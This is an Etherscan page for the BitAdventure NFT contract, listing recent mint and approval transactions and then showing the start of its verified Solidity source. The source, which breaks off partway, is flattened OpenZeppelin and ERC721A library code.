Contract 0x49D61f2e90F18d3C6501402f93Eb4e007f097572

 
 
Txn Hash
Method
Block
From
To
Value
0x4952f9575efa40ca7cf772cddbd732caffc8033fdf1ab8eca16d91d129749e75Set Approval For...159986592022-11-18 18:22:1121 days 11 hrs ago0xc1bd2568d4ae3d3aff479675ede8903076fc764e IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00031706 13.04571231
0x8392feeb9f4b5943d77c59a277e9a4067a7568a16e320673ee55566fc2c99855Set Approval For...157190162022-10-10 16:53:1160 days 13 hrs ago0x0436d39e637febf17a3cb01e428e045842d82472 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00110289 45.379113
0x54f06bc5b57027ddd89068f2c298e51643d6500de40bc985b33c6f14bc59299aSet Approval For...156599872022-10-02 10:53:1168 days 19 hrs agoENS Name 25196.eth IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00014005 5.76278465
0x377c269e4f7224506157da7d157a10052e73e14135ff04e4e5ddb7b961d44d96Set Approval For...149744912022-06-16 17:11:14176 days 13 hrs ago0xdbed6c876b6cef592a739414b2934c5af896a1e8 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00144412 59.4194042
0xe67f3e8d48b25a6205e386f1216184984ae21d82c08c475866064e2408ce4b1aSet Approval For...149459882022-06-11 19:27:00181 days 10 hrs agoENS Name kingzofdegen.eth IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00062583 25.75046372
0xedaedb7683a9dce6e9a11069060040a1e3870690cb7af43bc292dbc724f1259cSet Approval For...149163662022-06-06 18:20:11186 days 11 hrs agoENS Name donfredo.eth IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00134498 55.34023298
0xb48ea9b83068d1034c6a5265be61617ecb36eaa8a5538000a61a2d7e19f97b65Set Approval For...148764632022-05-31 3:29:12193 days 2 hrs ago0x525811b056859c83afc7753b8667316a649fede5 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00188416 77.52484236
0xbcc9f714f4b8126403be65dc61663cce246c214f5a9e6cf43a48d97731eab69cSet Approval For...148676322022-05-29 17:00:17194 days 13 hrs agoENS Name alzaeem.eth IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00151124 32.69969853
0x967512078d4419ba4f0ba20edbc826b99d6a02d743b973b97fc54323726442f2Withdraw148674522022-05-29 16:16:38194 days 14 hrs ago0x069a975f0f84e95db101f6514c4ec76fd0ff8b82 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00072422 23.85056285
0x4db3b311737e4367a04ec0855ca245c0da0bf898a3fe76067c5817bffb02e1feFree Mint148673082022-05-29 15:46:04194 days 14 hrs ago0x979a51518c9ab3faa5dc272c31de7c50e0c07e88 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00042989 15.44846724
0x57efc0f2396b56339df264c3676222d6fa6d7d5d10267965200bfc02bdc7d3c2Free Mint148673082022-05-29 15:46:04194 days 14 hrs ago0x979a51518c9ab3faa5dc272c31de7c50e0c07e88 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00042989 15.44846724
0xd691b181330de81e18030eda62f62a7a312ebce957845c44b17db53a431be357Set Approval For...148668342022-05-29 13:56:39194 days 16 hrs ago0x525811b056859c83afc7753b8667316a649fede5 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00058204 12.59404376
0xb0fd1ac8e84422f1a85d9d1ebbfa861a058330ad97bebe0c8a3f02218ed50cadSet Approval For...148667712022-05-29 13:44:35194 days 16 hrs ago0xfb5c882b41f71a8c0c60a57e60204ec46e75c687 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00069702 15.08193278
0xc472da0fbdbaacbc4f6bec7a4783e7bd0a5ef722ff6b1df59c037cdcd1153ac4Set Approval For...148659532022-05-29 10:28:52194 days 19 hrs ago0xc929f4c3fae709f390d3b3bcea6bbd18a468acc8 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00058052 12.56106712
0xaf09f98661f6cdf1e31fdd1193fd11cbc70ea95c43fadf3ee4d9176d3d9f9c3dSet Approval For...148658712022-05-29 10:09:51194 days 20 hrs ago0xdbed6c876b6cef592a739414b2934c5af896a1e8 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.000902 19.5171293
0x49a95a402e3988c704bece7f4fd686ab77070dfb5544e012491e473ec88c1f10Set Approval For...148658342022-05-29 9:57:48194 days 20 hrs ago0x6e304023e921a6d5b52e89714c5bd6f3b4f598a5 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00056465 12.2176572
0x5d9978cee9e275c16e60e1a16d62533e4a8bdf709716a7112b2b7a19b04237e8Set Approval For...148657042022-05-29 9:28:05194 days 20 hrs agoENS Name angthesenpai.eth IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00049752 10.76513086
0x42453060d32dc707490a1463196eae8be796af071c9cded08aaa92198ca2bdbbSet Approval For...148655602022-05-29 8:55:39194 days 21 hrs ago0x2c39f4e24027925c8f5405151360f918950cfa51 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00065167 14.10057962
0xdd17313574133ff2de476a3a5cafdea92803a417c103f97e8b116a5d5b6e2854Set Approval For...148654062022-05-29 8:17:14194 days 22 hrs agoENS Name timxie.eth IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.0004896 10.59373612
0xa40a978e003633f55abf0c088c74237c68856b2ed447584272b9edb9b043b075Set Approval For...148652862022-05-29 7:49:35194 days 22 hrs ago0x0436d39e637febf17a3cb01e428e045842d82472 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00059568 12.88924306
0xef854589866c61244038c75bf4c6d6d802358d473c81562fc998c7e303b1c3abSet Approval For...148652272022-05-29 7:35:29194 days 22 hrs ago0x36beb9b39080d8f23d9ca244458060ab2aa97dbb IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00059295 12.83011649
0x2fffc58803973efba61619eaa6192f036d366b33bee2b672b738454dd464dedeSet Approval For...148651282022-05-29 7:08:28194 days 23 hrs ago0xd046c682cc3767ee363e00aa9601ce4014e46920 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00098029 21.21123319
0xb0d0838b775b1a409a49dd3a56ac01e300d2aee572d9ab1b20a98a620a1fca93Set Approval For...148650212022-05-29 6:42:47194 days 23 hrs ago0x53445397b1143e768a7c346f17cb677b891649c5 IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00059888 12.96167312
0x8669c83556247418b2841bd10219c85b2d0898d5ae3286919cf5c68bfd30e3deSet Approval For...148648642022-05-29 6:03:17195 days 16 mins agoENS Name 0007650.eth IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.00058308 12.61982573
0xa329e1a7bd887d846cb1c7c68975c2edb213ed1a5e301ce0d74fb5d0d8f760d2Set Approval For...148648252022-05-29 5:53:39195 days 26 mins ago0x0e83c07491d02994e5b5d4c0b9ea807d08d83dab IN  0x49d61f2e90f18d3c6501402f93eb4e007f0975720 Ether0.0005721 12.37884502
[ Download CSV Export 
Latest 1 internal transaction
Parent Txn Hash Block From To Value
0x967512078d4419ba4f0ba20edbc826b99d6a02d743b973b97fc54323726442f2148674522022-05-29 16:16:38194 days 14 hrs ago 0x49d61f2e90f18d3c6501402f93eb4e007f0975720x069a975f0f84e95db101f6514c4ec76fd0ff8b820.3407 Ether
[ Download CSV Export 
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BitAdventure

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-05-28
*/

// Sources flattened with hardhat v2.8.4 https://hardhat.org

// File @openzeppelin/contracts/utils/[email protected]

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.4;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File @openzeppelin/contracts/access/[email protected]


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)



/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// File @openzeppelin/contracts/utils/introspection/[email protected]


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)



/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}


// File @openzeppelin/contracts/token/ERC721/[email protected]


// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)



/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;
}


// File @openzeppelin/contracts/token/ERC721/[email protected]


// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)



/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}


// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)



/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}


// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)



/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}


// File @openzeppelin/contracts/utils/[email protected]


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


// File @openzeppelin/contracts/utils/[email protected]


// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)



/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}


// File @openzeppelin/contracts/utils/introspection/[email protected]


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)



/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}


// File erc721a/contracts/[email protected]


// Creator: Chiru Labs

error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();

/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
 *
 * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 *
 * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
    using Address for address;
    using Strings for uint256;

    // Compiler will pack this into a single 256bit word.
    struct TokenOwnership {
        // The address of the owner.
        address addr;
        // Keeps track of the start time of ownership with minimal overhead for tokenomics.
        uint64 startTimestamp;
        // Whether the token has been burned.
        bool burned;
    }

    // Compiler will pack this into a single 256bit word.
    struct AddressData {
        // Realistically, 2**64-1 is more than enough.
        uint64 balance;
        // Keeps track of mint count with minimal overhead for tokenomics.
        uint64 numberMinted;
        // Keeps track of burn count with minimal overhead for tokenomics.
        uint64 numberBurned;
        // For miscellaneous variable(s) pertaining to the address
        // (e.g. number of whitelist mint slots used).
        // If there are multiple variables, please pack them into a uint64.
        uint64 aux;
    }

    // The tokenId of the next token to be minted.
    uint256 internal _currentIndex;

    // The number of tokens burned.
    uint256 internal _burnCounter;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _currentIndex = _startTokenId();
    }

    /**
     * To change the starting tokenId, please override this function.
     */
    function _startTokenId() internal view virtual returns (uint256) {
        return 0;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
     */
    function totalSupply() public view returns (uint256) {
        // Counter underflow is impossible as _burnCounter cannot be incremented
        // more than _currentIndex - _startTokenId() times
        unchecked {
            return _currentIndex - _burnCounter - _startTokenId();
        }
    }

    /**
     * Returns the total amount of tokens minted in the contract.
     */
    function _totalMinted() internal view returns (uint256) {
        // Counter underflow is impossible as _currentIndex does not decrement,
        // and it is initialized to _startTokenId()
        unchecked {
            return _currentIndex - _startTokenId();
        }
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        if (owner == address(0)) revert BalanceQueryForZeroAddress();
        return uint256(_addressData[owner].balance);
    }

    /**
     * Returns the number of tokens minted by `owner`.
     */
    function _numberMinted(address owner) internal view returns (uint256) {
        if (owner == address(0)) revert MintedQueryForZeroAddress();
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Returns the number of tokens burned by or on behalf of `owner`.
     */
    function _numberBurned(address owner) internal view returns (uint256) {
        if (owner == address(0)) revert BurnedQueryForZeroAddress();
        return uint256(_addressData[owner].numberBurned);
    }

    /**
     * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
     */
    function _getAux(address owner) internal view returns (uint64) {
        if (owner == address(0)) revert AuxQueryForZeroAddress();
        return _addressData[owner].aux;
    }

    /**
     * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
     * If there are multiple variables, please pack them into a uint64.
     */
    function _setAux(address owner, uint64 aux) internal {
        if (owner == address(0)) revert AuxQueryForZeroAddress();
        _addressData[owner].aux = aux;
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        uint256 curr = tokenId;

        unchecked {
            if (_startTokenId() <= curr && curr < _currentIndex) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (!ownership.burned) {
                    if (ownership.addr != address(0)) {
                        return ownership;
                    }
